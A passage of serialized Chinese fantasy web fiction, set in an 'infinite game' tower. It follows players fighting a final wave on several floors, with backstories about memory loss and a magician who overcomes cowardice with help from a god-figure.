而无限游戏里的轮白只会更残忍,因为是真人,有痛觉。只要死亡一次,等级经验甚至记忆就会被全部清零,更能佐证往后数次击杀,都只是单纯的泄愤和报复。 盔甲男:“听起来很英雄,但要怎么证明你不是在骗我呢?” “我不需要向你证明。” 拳击手冷哼一声,威压骤放,充斥着凌厉杀意:“你只需要知道这个任务我势在必得,不允许任何意外出现。如果你再给不出一个合理的解释,那就别怪我不客气!” 盔甲男连忙抬手:“好好好,放松点朋友,别那么紧张。我的理由很简单,你听说过【浩瀚启示录】吗?” 拳击手眸光一闪:“你是说命运女神留下的那本浩瀚启示录?” 盔甲男眯眼笑:“没错。传闻它包含个人未来的所有可能性,我就找到它的持有人询问自己今后的命运,非常意外地得知,我居然会成为举世闻名的大英雄,不需要骗人就能名利双收,还有很多人痴迷我,你说还有比这更赞的事情吗?再然后我就接到了这次的任务,你说凑巧不凑巧?这肯定是上帝给我的指示!” 拳击手没说信不信,只是反驳:“你刚才还在批判上帝。” 盔甲男:“你说无限游戏?不不不,它完全代表不了上帝。” 拳击手:“万一它就是呢?迄今为止,没人见过上帝是什么模样,几千万人的唤神仪式也没能让祂现身。” 盔甲男:“这种情况就很简单了,难道你没有在书里看到过一句话吗?” 拳击手:“哪句话?” 盔甲男大笑道:“毛姆的名言,‘上帝已死!’” 拳击手瞬间也笑起来,那张沉郁凶戾的脸咧开嘴角后,看起来十分活泼,笑够了,他低骂一声:“那是尼采说的,你个蠢货!” 他俩站起身来,纷纷露出伤痕累累的身躯。 几缕狂风掠过大漠,穿过大型凶兽的骨骸发出呜呜哀嚎,最后刮动黄沙如海水漫开,覆盖上一具具了无生气的新鲜尸体,和浓郁的血腥味混杂在一起。 远处传来嘹亮的号角声,并伴随着震耳欲聋的铁蹄声,动静阵仗之大,仿佛地面都在止不住地颤抖。 两人当然知道那是怎么一回事。 第二十二层的领主意图谋反,暗中加入起义军,并旨在今天晚上攻打黑塔高层。 这一层的玩家都接到了通知,要么领取平叛的任务,要么加入起义军听从系统号令,打打杀杀到最后,只剩下拳击手和盔甲男两人。 他们是这一层最后的防线,而敌方的大领主也将在这最后一波攻打中现身。 “不管怎么样,现在只剩我们两个人了,要不要合作?” “合作什么,让你在后面捡人头吗?” “嘶!别说得那么冷酷朋友,那明明叫适应性策略。要不是我机智,你现在就只能自己一个人孤军奋战了……” 铁蹄声越来越近,传到脚底的震动也越来越大。原来被黄沙埋没的尸体被震出来,玩家、敌军、王国护卫,几千上万地垒在一起。 两人在尸山中抬起头,望向天际线上被黑暗吞没的夕阳。 不是夜幕降临,那黑暗是某头耀武扬武的怪物,准确点来说,是这一层的领主。 张狂笑声裹挟着半神级的威压,贯彻云霄,铺天盖地,引得伤重的身躯本能般战栗,心跳在耳畔轰鸣,仿佛随时会撞碎胸腔。 某一刻,一人沉默地动了,另一人紧跟其上。 两人迎着漫天肆虐的风沙往前走,其实心里都明白,此去多半九死一生,但是没有人回头。 也就没有看见,金色的线条在他们的手背上悄然出现,勾勒出璀璨的徽记。 黑塔第二十三层。 一个络腮胡子男人瘫坐在地上,实在没有力气,哪怕满地血污他也管不了那么多了。 他旁边有个缠满绷带的少年,不断气喘着从衣领里拿出个吊坠,珍惜地握在掌心。 艳红似火,瑰丽如玉,像是某种生物的鳞片,至于包裹住它的东西,好像是塑料糖纸。 如此怪异的组合,惹得络腮胡男忍不住好奇地问:“小兄弟,你手里拿的是什么?” 第244章 成神进度:90% 浑身缠满绷带的少年什么话都没说,像是懒得理会他的询问。 络腮胡子大叔悻悻地摸了摸鼻子,正要把脑袋缩回去,忽然听到少年吐出两个字:“……锚点。” “是我的,锚点……” 那声音沙哑中裹挟着气喘不匀的虚疲,再往下看,大滩的鲜血从少年微微弯曲的身体顺势而下,重重地砸落在地面上,几秒时间就盘踞成一滩小血洼。 大叔眉头狠狠一跳,撑起身体,一瘸一拐地走过去,将少年掰过来一看。 果不其然! 对方前胸鲜血淋漓,被利器或法术重伤,露出来的伤口深可见骨,绷带断开几截,皮肉外翻出来,简直触目惊心! “我的娘欸!你还有道具吗?快找找!实在不行用积分兑换几个低级治愈术!” 大叔说完才发现自己在说废话,几场恶战下来,但凡能保命的手段都用完了,谁的兜里还有多余的积分? 他焦头烂额地扫视四周,急到趴下来将某位尸体兄弟翻了个身,嘴里念着罪过罪过,从对方手里抠出还没来得及使用的道具。 很不幸的是,那并不是治愈道具。 于是只能继续找。 一具具尸体从大叔掌下翻过,死不瞑目的眼睛冲着灰蒙蒙的天空。 无限游戏里看惯死亡的玩家通常有三种下场。 一种是逐渐病态享受起生杀予夺的权利,一种是越来越冷漠麻木只当在切菜。 还有一种,是压力累积到崩溃,逃避游戏甚至是自尽清空记忆。 虽说表面看不出什么问题,却能发现大叔翻找的速度越来越慢。 某一时刻,他猛然僵住,盯着一具尸体似曾相识的脸,像是被施展定身术,嘴唇颤抖不止。 “没有,关系。” 这时,少年有气无力的声音传过来:“我,能自愈,不会,死的。” “不会死的……”少年低头,反复地念着这一句话,像是虔诚地施展一段续命的咒语,“我和他们,约好了。” 大叔骤然回神。 仿佛被少年的后半句话深深触动,他苦笑着抹了把脸:“确实不能死,死了就什么都不记得了,包括那些约定承诺……唉!” 他想扶少年坐下,后者却摇了摇头坚持道:“坐下来,想睡觉,不行。” “……”大叔盯着他认真至极的脸,卡壳半晌,试探性地改了个劝法,“你这样站着,肌肉绷紧,会给伤口带去压力,血只会流得更快,本来可以不死的人都得死了。” 气定神闲的少年唰一下看向大叔,瞳孔震颤,肉眼可见的慌张。 大叔只觉得眼前一阵残影掠过,眨眼瞬间,少年宛若流出指缝的泥鳅般滑到地下,躺得平平整整,安安稳稳。 “我,记起来了。”少年忍痛的声音带颤,郑重其事地说,“是这样的,谢谢。” 大叔:“……” 这究竟是从哪儿跑出来的活宝? 大叔在刚才的战斗中目睹过少年冲锋陷阵的狠辣身姿,手起刀落,血液飞泼,每一个出手的动作都如秋风扫落叶般干脆利落,刹那瞥见的眼神只有冷若冰霜,不带一丝温情。 那种斩杀如割草的画面看多了,会有种少年不是人,是一台杀戮机器的错觉。 然而现在交流几句才发现,小伙子只是单纯的一根筋。 大叔哭笑不得,在少年的身旁坐下,突然剧痛袭来倒抽一口气。 低头一看,才发现被简单处理过伤势的右腿在朝外渗血,想来是刚才动作太大,扯开了伤口。 眼下他也没剩下什么治愈道具,除了干挺着没别的办法。但是在战场上,伤到腿几乎等同于宣判死刑。 大叔愁眉苦脸地叹气,岂料抬眼,就看见少年从身上撕下一截绷带,递给他:“用这个,会好。” 少年仍旧记得余又(谢叙白化名)曾经教过他:回馈善意,才能有来有往。 大叔愣了愣,接过绷带的同时,眼前弹出道具提示。 原来这绷带居然是一个S级恢复道具,就算是破损掉落的部分,也有A级治愈效力! 他再一看少年的伤口,血肉正在收紧愈合,瞬间恍然大悟,难怪对方伤重成这样却能保持淡定。 他也没矫情,说了声谢,按照道具提示将那半截绷带缠到伤口上,一秒不到就止住了血。 大叔分外惊喜! 但这也间接说明少年受的伤有多重,谈话的功夫仍旧血流不止。 重点在少年还有活下来的执念,既然这样,就应该远离危险地带,想办法通关苟活到最后。 他默了默,忽然想起少年最开始的回答:“对了,你刚才说的‘锚点’是什么意思?” 议会长此前告诉他,锚点可以是人事物,也可以是一段执念。 它如同船只在风暴中抛下的船锚,只要存在,就不会迷失方向。 少年想也没想地开口:“余又和乐乐。” 那又是谁,怎么这么耳熟……等会儿! 大叔瞳孔一睁,突然想到以前闹得沸沸扬扬的传闻——有关《屠龙少年》副本中发生的奇谈。 再一看少年这标志性的打扮。 浑身上下缠满绷带?实锤了呀!这少年竟是大名鼎鼎的【替死鬼】蝉生!灰头土脸的真没认出来。 众所周知蝉生拥有可以无视副本限制的替死技能,同时智商不高,特别听话,受到不少玩家的竞相追捧。 然而这热火朝天的追捧中,多少含带着将少年当成替死工具人的功利性。 若是换一个人,生死自由都由不得自己,睁眼闭眼都在各种死法中辗转反侧,不断被人当成可循环再用的血包,恐怕早就已经黑化发疯。 唯有这脑子缺根筋儿的傻小孩什么都不在意,也可能是根本意识不到自己有多么惨。 他傻乎乎的没意识,其他人也没办法救他。 就像溺水的人,你把游泳圈丢给他,有脑子的都知道可以抱住它借浮力游上岸,而傻小孩则会吐水大喊:“咕噜噜……你东西…咳咳咕噜…掉了!” 然后在水里疯狂扑腾,想方设法地把游泳圈丢回去。 大概就是这么无厘头。 是以怜悯蝉生的观众不少,觉得他可悲、怒其不争的人也多。 至于大叔……两者都有吧。 他曾经在那些粉丝的号召下给蝉生匿名捐过款,不多,只是一点心意。 后来才知道那些积分全被主办方席给卷走了,而蝉生因为替死导致记忆清空,还是傻傻的什么都不知道。 甚至后来议会长为蝉生主持公道,将那些家伙抓捕归案当庭对峙时,少年还对坑害过自己的人礼貌问好,简直叫大叔气笑。 气完之后又不知道该说什么,唯有重重地叹上一口气。 蝉生这种情况,放在无限游戏没有降临前都不一定能好好活着,何况在这吃人的世界?不幸的人那么多,救都救不过来。 庭审席上众人目光各异,有看笑话的,有怜悯的,还有许多人不怀好意,唯有少年茫然依旧。 那一幕似乎预兆着少年悲哀的结局,为他声张正义的热度也逐渐冷却下去。 众人渐渐对“蝉生给人替死”这事习以为常,甚至觉得,这就是他唯一的价值。 大叔看着形单影只的蝉生,忽然意识到:“你的监护人去哪儿了?” 监护人是委婉的说法,大叔心里暗骂那些家伙是企图换命的伥鬼,只是这话不好当着蝉生的面骂出来。 蝉生说:“我长大了,不需要,监护人。” 大叔啼笑皆非,心想真是个傻子,又忍不住叹了口气。 蝉生喘了一口气,目光冰冷,理所当然地说:“还有,那些想让我挡灾的,没有资格,监护我。” 大叔:“……” 大叔瞪大眼睛一脸惊异! “你居然知道那些人只是想让你挡灾?” 蝉生点头:“知道。” 其实他一直都知道。 说一直也不恰当,应该说被推出来当挡箭牌的时候,才醒悟过来自己遭遇了什么,然而那时说什么都晚了。 直至在《屠龙少年》中,余又将他护在身后,所有的危险都没能靠近,他仿佛于那清瘦的身影中看见巍峨的巨影,在难以解释又无以复加的触动里,平安地活到了最后。 直至在《屠龙少年》中,有一个性格别扭的少年将房间分给他,让他安然度过怪物肆虐的黑夜,又拔下身上的鳞片送给他,相约再见。 蝉生再度重复:“我会活下来。” “……”大叔看着他瞳孔震颤,简直无法描述自己翻江倒海的心情。 只因见过少年无可救药的样子,才知道这样的改变何其震撼,何其可贵。 彼时他们刚刚扛过一轮攻击,在某个壁障中休息。 天空阴沉不见日光,硝烟弥漫而开,裹挟着焦味和血腥气的狂风吹过残破的堡垒,空气中隐约可以听到有人在痛吟低语,很快消弭无影。 这种压抑安静的气氛带来不止是恐惧,还有孤独,宛若寒意无孔不入地钻进皮肤,身边却找不到东西取暖。 是以大叔这么操心蝉生的死活,也不过是因为他腿伤走不远,穷途末路也活不下去,临死之际渴望身边能有个伴。 要说他们为什么会有这样的遭遇,还得追溯到系统和黑塔王国同时颁布了两个截然不同的任务。 而这一层的领主不知道发什么疯,但凡不肯加入起义军的玩家,都会遭到猛烈追杀。 在枪林弹雨的攻势下,部分玩家抵抗不住选择妥协倒戈,而大多数玩家则从中看出系统的不对劲,拼死反抗到最后。 大叔知道,就算是现在,他们也不止两个人在战斗。 截止至这一波进攻结束,不远处都还有喧闹的人声。 这一幕非常神奇。男女老少都有,各个洲区齐在,开打之前没有过任何沟通,甚至是语言不通,大部分都是不熟悉的陌生人,直至中途加入战场才见上一面。 却能共同守卫到最后。 大叔和人交换情报时得知,谢叙白也在这次的副本中现身了,并且还是黑王阵营,也难怪蝉生会接下平叛任务。 “这不挺好吗!”他忽然爽朗地笑起来,为挣脱悲剧的少年感到高兴,“你终于有了一个活下去的理由。” 蝉生看向他,秉持着谢叙白所说的你来我往,顺势问道:“那你呢?” 大叔洒脱地笑着说:“我么?能活就活,活不了拉倒!年纪大了,生死什么的早就看淡了。” 蝉生却问:“你为什么憎恶系统?” 大叔笑容一僵。 他不知道傻子还有这么敏锐的观察力,摸着鼻子沉默许久:“没什么特别的理由,任凭谁日子过得好好的,被拉进这场游戏里担惊受怕,都会憎恶始作俑者吧?” 其实这一世无限游戏开启初期,大叔还享受过一段时间。 毕竟现实中他伶仃一身,父母相继离去,天天加班到凌晨,没时间讨老婆,三五好友也因为抽不开身聚一聚,而逐渐疏远。 但在游戏里,只要有一技之长,总能找到有需要的队伍一起下试炼池。 人和人的关系会因为危机而紧张敌视,也会因为共同的危机联系在一起,大叔很快就找到了这么一群志同道合的同伴。 然后有人死去,记忆清空。 面对他和其他同伴的担忧,眼中只有警惕和疏离。 然后他也不小心死去,记忆清空。 面对陌生的地方,一群拿着武器的陌生人,大叔毛骨悚然下的第一反应:他们绝对是人贩子! 质问的话一出口,人群中就有个女人忍不住眼眶一红,哭了出来。 也是后来大叔才知道,那个女人是他的女友。 很难想象他这样的老衰汉居然还能找到女朋友,但对方交给他的日记,清楚详细地记录了那段在颠沛惊险的闯关里,两个人日渐生情的过往。 可是大叔没感觉。 不管女友如何声泪俱下,不管昔日同伴看向他的目光有多么遗憾失望,不管日记里的文字有多么激情澎湃情意缠绵,他都……没有感觉。 后来,他来来回回翻看日记,看到两人以前那般相爱,就算没感觉,良心还是会受到谴责,总觉得对不起人家。 当他收拾好情绪,鼓起勇气想要找到女人负责时,却得知对方前不久下试炼池,不幸遇难。 也不稀奇,因为现下的世界,死亡就是如此的稀疏平常。 刹那间心脏像是被无形的尖刀穿透,痛得撕心裂肺。 大叔眼前一黑,不管不顾地跑去找人。 人造太阳的光辉洒落,刺目且没有一丝温度。街道上玩家熙熙攘攘,神色冷漠,脚步匆忙。 找了许久,终于遥遥看见那人的背影,他激动得大声呼喊。 却见那人闻声茫然回头,似曾相识的面容,也对他投来陌生戒备的目光。 …… 回忆过往,引得心脏颤痛。 大叔很久以前就戒烟了,但是他现在想要再来一根,良久,徐徐地呼出口气:“……不管系统是什么东西,这世界轮不到它来管,它没有权力清空任何人的记忆。” 不远处尘土滚滚,呐喊翻天,新一轮进攻即将爆发。 幸存的玩家都感受到了半神级的恐怖威压。 彼方千军万马,吞天沃日。 我方伤病累将,精疲力竭。 但所有人想的都是。 ——这将是最后一波袭击。 残破壁垒里,一道道身影咬着牙关站起来。每一道身影从高空俯瞰而下,都是一个渺小的点,而后无数的点连成线,形如洪水袭来前迅速筑起的城墙。 蝉生和大叔也相互搀扶,站起身,在喧天阵仗中,毫不犹豫地握紧武器。 凛冽金光倏然现身,循着无数人意志之间此起彼伏的呼应,犹如鹰隼掠空振翅天际,在战火硝烟中跳跃。 第245章 成神进度:91% 金光一路飞到黑塔第二十四层,随着呼啸的寒风,从大厦楼顶掠过。 魔术师坐在楼顶天台上,看着不知何时出现在手背上的神眷者徽记,手指戳一戳,嘀嘀咕咕:“谢叙白啊谢叙白,你之前说什么当我表演助手,配合我完成一场盛大的演出,该不会是指现在吧?” 徽记闪烁,似乎在肯定他的质疑。 魔术师的眉毛狠狠一跳,一脸不敢置信,大手一挥指向地平线上黑压压袭来的怪物潮,控诉声直线拔高:“有没有搞错,你让我一个人对付这么一大群?” 徽记再度闪烁,一缕金光从中冒出,状似无辜地比出个大大的问号。 魔术师当即倒吸一口凉气,宛若尊严受到严峻挑战,想也不想地震声反驳:“说什么我不行,我怎么可能不行?不就是几千只S级精英怪和一只半神级小BOSS吗?我堂堂中洲区战力排行榜第五,一只手就能对付得过来——” “不不不,不是!你别走啊!我强是强,但那什么乱拳打死老师傅,总有意外发生的是不是?你不会真那么狠心见死不救吧?” “为什么不带队友?你说这么危险的情况,我怎么可能让粉丝参加嘛……拜托拜托,我亲爱的谢神谢大佬谢祖宗,您就别再捉弄我了,给开一个强力外挂吧,要不然您的眷属今天真得把命赔在这儿了。” 金光氤氲,传达识念:【所以我建议你先撤退。】 魔术师猛然一顿,旋即沉默下来。 【二十四层的领主是根见风使舵的墙头草,不愿得罪起义军和黑王任意一方,凡经过者都是大开城门直接放行。】 【这代表只要有人来,就可以直接登上二十五层,也就没有玩家会在这一层长久停留,就算试炼副本融合到最后,你也等不到多少援军。】 凭魔术师的实力,他应该更早就来到二十四层,并向着更高的层级前进。 但因为要安置不幸被全民战线模式选中的粉丝,他来晚了一步。 系统便是在这时气急败坏狗急跳墙,恶意篡改领主BOSS的设定。 本来想要装聋作哑的二十四层领主,如同被魔化的污染物般性情大变,原地挥兵征讨王国的守关BOSS。 所以魔术师运气不好,不管来晚来早,他都可以避开这一波冲突。 偏偏他赶在领主发起总攻的时间段出现。 守关BOSS为了抵挡领主的进攻,当机立断关闭登塔通道,导致魔术师猝不及防被堵在被关闭的通道口和袭来的大军之中,进退都不是。 不,也不是一点退路都没有。 魔术师的黑曜石扑克牌耳坠,就是极其珍奇的S级逃生道具,让他可以混入敌军不被发现。 “但这样一来。”魔术师忽然说,“镜头前的粉丝们都会知道我是个彻头彻尾的胆小鬼,临阵逃脱的废物。” 换成其他玩家面对魔术师当下的处境,估计大部分都会选择战术性回避。 要知道留得青山在不愁没柴烧,面对不可战胜的敌人,避其锋芒从长计议才是明智之选。 但谢叙白还记得,魔术师心中一直有个跨不过去的坎儿。 以至于明明胆小到看见蛇鼠虫蚁,都能被吓得浑身冒冷汗,却总是在镜头前固执地强撑出一副胆大张狂的姿态。 甚至于当初在医院副本里,谢叙白一句:“听我的,不然我就告诉你的粉丝,你其实是一个什么都怕的胆小鬼。” 就能把这位色厉内荏的战力榜第五狠狠拿捏。 魔术师问道:“二十五层的情况是不是也很严峻?” 徽记闪烁,告诉他二十五层的情况虽然严峻,但王国的援军正在快马加鞭赶来的路上,只要再撑上一会儿,就能等到局势逆转。 “哦?看来大家这次都很认真嘛。”魔术师若有所思地摸了摸下巴。 能抵挡住这种规模的袭击,不拼尽全力是说不通的。 反观以往的通关试炼,因为大部分顶级玩家都知道首通【10】次是谎言,所以并不怎么积极,平时都在养精蓄锐谷马砺兵,随便参与个A级诡王副本都算勤奋。 所以大家此时此刻的竭尽全力,恰恰可以说明一点。 ——他们得到了某种指示或消息,认为这次试炼的赢面很大,大到所有隐于幕后的大佬齐齐出动,站在这里殊死一搏。 魔术师指着铺天盖地的怪物潮问谢叙白:“那如果说让这群怪物冲到第二十五层,守在那里的人还能等到局势逆转吗?” 徽记没有动静。 魔术师了然一笑:“看来是不能了。” 战斗从来不是一加一等于二,战场之上局势千变万化,一点小小的改变都可能带来倾覆性的毁灭。 二十四层和二十五层的领主联起手来,造成破坏力恐怕将呈几何倍递增,到那时包括魔术师在内,他们只能不断向上撤退,一退再退。 或许最终也能获得胜利,但付出的代价绝对是惨烈的。 这是魔术师的理解。 魔术师:“如果我再问,我想留下来抵挡这些怪物,燃烧生命力加上你赠予的神力赐福用来拖延时间,能不能让有利的局面向我们多倾斜一点?” 不等谢叙白开口,他笃定地说:“我猜能。” 魔术师便以此为自己机智的证明,肉眼可见的兴奋和激动起来:“对啊!你果真没骗我,这会是一场盛大的演出!” 毫无疑问,他已经下定决心。 ……或许更早,早在他看着领主大军浩荡袭来,心率因紧张恐惧加速到头晕眼花、腿肚打颤,也没有往后挪动一步的刹那,那颗胆怯的心就已经生出破除心魔的勇气。 将要重新打开直播前,魔术师忽然想到什么,挤眉弄眼地说:“告诉你几个秘密,小时候我爸妈打架,掀桌子摔碗,我太害怕跑掉了,躲到天黑才敢回家,结果家里空无一人,地上都是血,他俩再也没回来。” “上初中时呢,有混混勒索同学,威胁我不要告诉老师,我到毕业也没敢吭声。” “上不去高中,也没人供我读书,我就去打零工。看到老板猥亵员工没敢吭声,看到老板偷工减料没敢吭声,被克扣工资还是没敢吭声。” 在成为声名远扬临难不避的魔术师之前,他就是这么个窝窝囊囊胆小如鼠的人。 没人知道他其实在很小的时候勇敢过一次,就是为了劝架,结果遭到夫妻俩的混合双打,至今魔术师都没能搞明白,自己为什么会成为爸妈的集火对象。 或许正如爸妈时常挂在嘴边的那句:如果不是因为有了一个他,相爱的他们就不会闹到这种地步。 上天对他也曾有过一瞬的怜悯,在他被打得哭天喊地的时候,房门被人嘭嘭踹响,有人在外面闷声闷气地吼:有完没完,大晚上的还让不让人睡觉?是不是在虐待孩子哦?警告你们再闹下去我就报警了! 仔细听,还有利器砸门的声音。 于是夫妻俩不敢动了。 哪怕之后两人回过味来,从事态的恶劣性来考虑,哪怕报警,率先被抓的家伙,也应该是门外不知道拿着什么工具的陌生人,他们也依旧安静如鸡。 那晚过后的第二天,魔术师在楼下碰到个陌生大哥哥,拽着他,反复检查他身上青紫带肿的伤痕,最后摸着他的脑袋叹气说:“下次遇到这种事,直接跑。” 逃避虽然可耻,但在保全自己这一块上非常有用。 魔术师渐渐尝到明哲保身的甜头,并沾沾自喜地奉为老鼠的生存法则。 于是接下来无限游戏降临,中洲区当时的第一公会巅峰,发公告召集第一批玩家参与前线作战,他又逃了。 之后玩家节节败退,他闷着脑袋当看不见。 几十亿人无端消失,他撇开视线置若罔闻。 被媒体宣称是最后希望的使徒公会突然爆发内战,第一使徒white叛变,他在喧闹的人群中漠然转身,视若无睹。 再然后就是对white身世的全面深扒。 彼时魔术师正在某个大公会搞后勤,只为借用该公会数一数二的情报网,找到昔日的救命恩人大哥哥。 顺带一提,他也有神力赐福,所以能保留记忆活到现在。 至于契约他的神祇是谁,可能其他高级玩家这辈子都想不到——鼠神。 人人喊打的臭老鼠居然也能成神? 魔术师觉得荒唐极了,但那只灰毛大老鼠却站在壁橱上,桀桀地笑出声。 祂得意洋洋地告诉他,光芒万丈的英雄笼统就那么几个,但这世上胆小如鼠、害怕惹祸上身的家伙可多了去了。 没有老鼠人的阴暗,哪能衬托出光芒的耀眼呢?所以祂可比威名远扬的神灵要厉害得多! 魔术师觉得祂在偷换概念,但目光四下一转,触及昏暗的室内、墙壁上爬满的青苔和蘑菇、堆积成山的生活垃圾,还有镜子里一个胡子拉碴颓废得没有心气儿的自己,忽然就释然地笑出了声。 那时消失的玩家太多,无限游戏通关期限降至,翻遍情报网始终一无所获的他,已经对找到恩人不抱什么期望,甚至在想:算了吧,可能那家伙早就死了,少受点罪也没什么不好。 然后就有匿名的使徒成员在风口浪尖上爆料,从第一使徒white刚进公会时的口音初步判断,对方可能是中洲区某某区县的人。 而那,正是魔术师的家乡。 听到消息的魔术师瞬间大脑空白,第一想法是:不可能吧?怎么会这么凑巧? 偏偏那只灰毛大老鼠看热闹不嫌事大,跑出来给他泼凉水:“怎么不可能?你得相信老鼠趋利避害的直觉。如果你有种强烈的预感,那真实结果大概率也跑不了。” 祂说对了。 鼠神再怎么卑劣无能,好歹也是神。 当魔术师尽可能地收集来有关white的所有报道,带着前所未有的认真一篇篇看过去,看着看着,心脏颤动,仿佛深处有个声音在不断地告诉他:这就是他要找的那个大哥哥。 他再回顾那些报道。 什么“后来崛起的天才”,什么“百年难得一遇的年轻指挥官”,什么“光辉卓绝的救世主”、“大灾难的希望”…… 媒体恨不能将一切优美的词汇用以称赞那人的绝世才华,而照片上的人似乎不愧那些赞美,威严沉着,气宇轩昂,于他这样的市井小人物而言,仿佛立于云端。 但魔术师印象中的大哥哥,浑身上下没二两肉,是搬桶水都会气喘吁吁的豆芽菜。 white的情报资料被列为最高机密,真实长相无从得知。 唯一漏出的破绽,也只有刚入会时的口音口癖和行为习惯,但很快就被礼仪老师纠正过来。 魔术师需要证明自己的感觉没错,于是拜托鼠神找到对方。 偷东西找东西正巧是老鼠的特长,于是比其他人更快的,魔术师和white见面了。 彼时white的身边一个人都没有,步履蹒跚地行走在杂草横生的荒郊野外,浑身浴血,煞气扑面而来。 魔术师冲动之下跑来见人,只一眼就被骇得僵在原地,就像老鼠见了猫,寒毛直竖,手脚下意识发软。 其实就算white用真面目示人,魔术师也不一定能认出他,毕竟那是很久以前的事情了。 眼下撞见white真人,他更觉胆颤悚然,无论如何都不肯相信那就是他认识的大哥哥。 眼睁睁地看着年轻人一步步走过来,连路边花草都为其臣服弯身,灰色大老鼠更是吓得瞬间跑没了影。 他终于后知后觉地想起对方那凶残可怖的传闻,目光发黑,丧失了迈腿逃跑的勇气,求饶的话哆哆嗦嗦地辗转嘴边。 别,别杀我,求您,求您了…… “哪里来的小老鼠,为了看热闹,连命都不要了。” 一只沾血的手落下来,按在他的脑袋上,头顶传来年轻人谐谑的轻笑:“连神核都没有,懒得杀你,滚吧,能跑多远跑多远。” 沾着血液的手坚硬如铁,澎湃神力在年轻人的躯体内震荡不休,每一节指骨都充斥着让人胆寒的爆发力。 但无论是它落下,还是拿开后从魔术师头顶掠过的瞬间,都轻柔得像一阵春风。 魔术师没能发现。 哪怕一瞬间,他脑海中确实闪过某种强烈的既视感。 是被毒打到绝望之际,门外传来一道闷声闷气的怒吼。 是呆坐在楼梯口,茫然轻生之时,有人往他脏兮兮的掌心塞来一个香气四溢的肉包。 下次再遇到这种事,就跑吧。 那人对他说。 魔术师在死亡的威胁下一阵腿软,扑通瘫坐在地,而后手脚并用地爬起身,疯了似的落荒而逃。 他又一次跑了,头也不回。 直至white一刻不停地奔走,赶在最终之战开启前挖走所有成神玩家的神核,吞入口中。 魔术师和其他无数不明真相的玩家,陡然看见平地升起一道金色的光芒。 那光灿若烈阳,吞噬无数神核的力量致使它坍缩变形,爆发出惊人的亮度。 所有人连忙闭眼,可那光强烈到能透过视网膜。 他们忍不住无声流泪,不是因为那光刺痛了他们的眼睛,而是光芒中蕴含着说不清道不明的眷恋不舍,竟让他们痛彻心扉,潸然泪下。 然而那只是半秒不到的告别。 紧跟着光芒拔地而起,穿过平房高楼,穿过大街小巷,最后穿透空间屏障,直直冲进浩瀚危险的虚空,宛如信号塔般高悬天穹—— 第246章 成神进度:92%…… …… 魔术师从楼顶一跃而下,狂风呼啸着刮过他的头发,衣摆猎猎起舞。 失重感让整个世界天旋地转,胆怯的心脏仿佛受不了这剧烈的刺激,怦怦撞击胸腔,抗议声震耳欲聋。 魔术师却大笑起来,颤抖又畅快的笑声盖过狂风:“有些事情逃避有用,然而有些事情逃避只会更严重,会失去很多重要的东西,这是我现在的领悟!” “有时候鼓起勇气坦然面对没什么不好的!你看我不就幸运地遇见你了吗?” 是的,这一世游戏重启后,魔术师被他的契约神祇给踹了,理由是对方居然想迎难而上,严重违背了老鼠的处世原则。 不过祂是仁慈的,只是怒气冲冲地收回徽记,没有施加别的惩罚。 有幸借着那点残留的神力,魔术师依旧保留着记忆,一举成为中洲区战力排行榜第五。 徽记频频闪烁,似乎在组织语言,良久,谢叙白温柔的识念在魔术师的脑海中响起。 【他那时候告诉你的理念,也一样受到年龄和认知的局限,不一定是正确的。】 【恭喜你,找到了真正适合自己的生存之道。】 一股旋风平地升起,托住魔术师急速坠落的身躯,让他平稳落地。 魔术师简单整理两下被风吹乱的发型,很享受谢叙白的恭维:“是吧,我也这么认为。” “不过我倒觉得小哥哥他没说错,当时的我什么都做不了,除了逃跑也没有别的办法来保全自己。多亏他救过我,教我逃跑,才会有我的现在。” 魔术师深深地吐出口气:“……我还是很想再见他一次。” 原本以为只是童年过客,没想到会在心底扎根那么深。 想要找到那人并非一时的冲动和积极,是平时内心无所谓,也不会把那人挂在嘴边,但走在路上听到熟悉的乡音会下意识回头看一眼。 是人群中撞见差不多的身形,会忍不住快步追上去。 是午夜梦回,反复记起重逢时那人轻笑着将手掌落在脑袋上的力道,不带恶念,状若抚摸,勾起唇角的面容在阳光下模糊不清。 而后那人收回手决然向前,裹挟着血腥味的风与他擦肩而过,越走越远,直至再也看不见。 胆小鬼之所以会在这一世成为魔术师,一改孤僻的作风,大摇大摆地出现在公众面前,致力于提高自己的名气,不过是盼望着white如果还活着,能看见他。 或许他们能因此见个面,然后,他会顺理成章地说出当年没能出口的那句谢。 这一次,他不会再逃跑了。 铁骑已近,大地震颤。 魔术师本能般手脚发软,额头背后渗出细密的冷汗。 他按着胸口,慢慢调整呼吸,拿出自己的招牌武器扑克牌,阵阵残影中飞快切牌换牌,往前一划,几张扑克牌急剧变大,眨眼间竟有楼房般高大,形如阵旗立于天地! 魔术师舔了舔干涩的嘴唇,想要转移注意力,于是喋喋不休地询问谢叙白:“所以你觉得那个人还活着的可能性有多大?这场演出结束后我能不能顺利找到他?” 最奇怪的是,不知道是不是执念过深,他总觉得谢叙白的精神力和对方有点相似。 可惜现在的他没有鼠神赐福的敏锐直觉,不然…… 谢叙白默了片刻,突然道:【其实,他还活着。】 第一秒以为自己幻听,第二秒发现不是错觉的魔术师眼神立刻就变了。 魔术师低头盯着闪烁的金色徽记,不敢置信快语连珠:“你怎么敢肯定?难道你认识他?他在哪里?为什么我一点消息都没有?还有——” 恰是这时地底传来异常波动,谢叙白的识念陡然锐利:【当心脚下!】 却见魔术师原地起跳迅猛如兔,夸嚓一声巨响,巨大森白骨刺擦过他的衣摆破土而出,大理石地砖碎裂飞溅! 锋利到能将人扎穿的骨刺就抵在眼前,魔术师眼皮子都没眨一下,反手变出一顶深蓝色星星图纹魔术帽,又从里面揪出一只雪白的兔子。 兔子一跃落地,瞬间分裂成几十只同样大小的白兔,呼啦啦拔腿飞奔而上,门牙叼住骨刺,一下嘴,一用力,竟是硬生生咬出个偌大的缺口。 夸嚓!夸嚓!…… 更多的骨刺穿透地面,像点燃的引线急速逼近魔术师,然而小家伙们灵活游走,吭哧吭哧啃下去,眨眼间它们就剩半截没入地里的墩儿。 又一眨眼几十只白兔分裂变成几百只,纷纷翻身刨土钻入地洞。 大地嘭嘭剧烈颤动,仿佛地底爆发出一场激烈的恶战,不一会儿,好几只巨型骷髅怪被红眼兔子们拖出地面,大快朵颐。 魔术师催动徽记使用神力,脚尖凌空一点爆出气浪,如同火箭般飞驰出去,落入怪物潮的瞬间他抽出扑克牌,手指一翻亮出桃心图案。 周围的怪物嘶吼着朝他扑来,正撞上魔术师丢出来的桃心牌。 